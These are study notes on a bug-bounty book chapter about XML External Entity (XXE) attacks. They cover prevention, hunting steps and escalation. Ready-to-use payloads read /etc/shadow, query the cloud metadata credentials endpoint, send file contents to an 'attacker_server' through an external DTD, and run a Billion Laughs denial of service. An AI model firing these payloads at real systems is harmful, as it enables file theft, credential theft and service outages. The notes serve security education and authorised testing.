Table of Contents
BBC Ch 15: XML External Entity (XXE)
Source: Bug Bounty Bootcamp by Vickie Li
How XXE Works
XML documents can define external entities via the DOCTYPE tag: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
]> <example>&file;</example> ```
When parsed, the server substitutes &file; with the contents of /etc/shadow. If users can supply or modify the DTD, they can read local files, trigger SSRF, or cause DoS.
Prevention
- Disable DTD processing entirely in the XML parser
- If not possible: disable external entities, parameter entities, and inline DTDs
- Limit parser parse time and depth; disable entity expansion
- Input validation: allowlist values inserted into XML; sanitize XML headers and nodes
- Use JSON or other simpler formats instead of XML where possible
- Disallow outbound network traffic to prevent blind XXE exfiltration
Hunting for XXEs
Step 1: Find XML Entry Points
- Proxy the target; look for
<?xmlin HTTP request bodies - Base64-encoded XML starts with
LD94bWw– decode suspicious blobs - Look for file-upload features – DOCX, PPTX, XLSX, SVG, GPX, PDF, RSS, GIF, PNG, JPEG metadata are XML-based
- Try switching the Content-Type to
text/xmlorapplication/xmlon non-XML endpoints and submit XML in the body - SOAP web services are XML-based
Step 2: Test for Classic XXE
Check whether entity references are processed: <code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [
<!ENTITY test SYSTEM "file:///etc/hostname">
]> <example>&test;</example> ```
If PUBLIC is needed instead of SYSTEM:
<code xml>
<!ENTITY test PUBLIC “abc” “file:/etc/hostname”>
```
Target useful files: /etc/hostname, /etc/passwd, ~/.bash_history (may contain internal URLs, IPs, secrets).
==== Step 3: Test for Blind XXE ====
Set up a listener (Netcat nc -lp 80 or Burp Collaborator) and make the parser fetch a resource from it:
<code xml>
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE example [
<!ENTITY test SYSTEM “http://attacker_server:80/xxe_test.txt”>
]>
<example>&test;</example>
```
Check server access logs for an incoming GET request to confirm blind XXE.
==== Step 4: Embed XXE Payloads in File Uploads ====
SVG with XXE payload:
<code xml>
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE example [
<!ENTITY test SYSTEM “file:/etc/shadow”>
]>
<svg width=“500” height=“500”>
<circle cx="50" cy="50" r="40" fill="blue" /> <text font-size="16" x="0" y="16">&test;</text>
</svg> ```
DOCX/PPTX/XLSX: unzip, insert payload into /word/document.xml or /ppt/presentation.xml, repack with zip -r filename.docx *.
Step 5: XInclude Attacks
When you cannot control the full XML document but can inject a value into it: <code xml> <example xmlns:xi=“http://www.w3.org/2001/XInclude”>
<xi:include parse="text" href="file:///etc/hostname"/>
</example> ```
Escalating the Attack
Read Files
<code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
]> <example>&file;</example> ```
Launch SSRF
<code xml> <?xml version=“1.0” encoding=“UTF-8”?> <!DOCTYPE example [
<!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]> <example>&file;</example> ```
Port scan by swapping port numbers: http://10.0.0.1:80, http://10.0.0.1:22, etc.
Blind XXE Data Exfiltration (External DTD + Parameter Entities)
Host this as xxe.dtd on your server:
<code>
<!ENTITY % file SYSTEM “file:/etc/shadow”>
<!ENTITY % ent “<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>”>
%ent;
%exfiltrate;
```
Then submit:
<code xml>
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE example [
<!ENTITY % xxe SYSTEM “http://attacker_server/xxe.dtd”>
%xxe;
]>
```
The target fetches your DTD, executes it, and sends /etc/shadow contents as a URL parameter to your server.
Error-based exfiltration (simpler): reference a nonexistent file whose path includes the secret:
<code>
<!ENTITY % file SYSTEM “file:/etc/shadow”>
<!ENTITY % ent “<!ENTITY % error SYSTEM 'file:/nonexistent/?%file;'>”>
%ent;
%error;
```
The parser error message includes the file contents.
CDATA wrapping for files containing XML special chars (<, >, &, “):
<code>
<!ENTITY % file SYSTEM “file:/passwords.xml”>
<!ENTITY % start ”<![CDATA[“>
<!ENTITY % end ”]]>“>
<!ENTITY % ent ”<!ENTITY % exfiltrate 'http://attacker_server/?%start;%file;%end;'>“>
%ent;
%exfiltrate;
```
PHP wrapper to base64-encode the file (bypasses special chars):
<code>
<!ENTITY % file SYSTEM “php:filter/convert.base64-encode/resource=/etc/shadow”>
```
==== Billion Laughs DoS ====
Do NOT test on live targets. This payload causes exponential entity expansion, crashing the parser:
<code xml>
<!DOCTYPE example [
<!ENTITY lol “lol”>
<!ENTITY lol1 ”&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;“>
<!ENTITY lol2 ”&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;“>
<!ENTITY lol9 ”&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;“>
]>
<example>&lol9;</example>
```
===== 8-Step Checklist =====
- Find XML entry points: proxy traffic, look for <?xml, decode base64 blobs, try Content-Type switching.
- Test classic XXE: submit a DTD that reads /etc/hostname and check the response.
- Test blind XXE: make the parser fetch a resource from your listener server.
- Embed XXE payloads in file uploads (SVG, DOCX, PPTX, XLSX).
- Try XInclude if you can inject into an XML document but can't control the DTD.
- Exfiltrate sensitive files (/etc/shadow, ~/.bash_history) via classic or blind XXE.
- Launch SSRF via XXE to reach internal services or cloud metadata endpoints.
- Draft report with a minimal PoC showing the file contents returned or an outbound request to your listener.
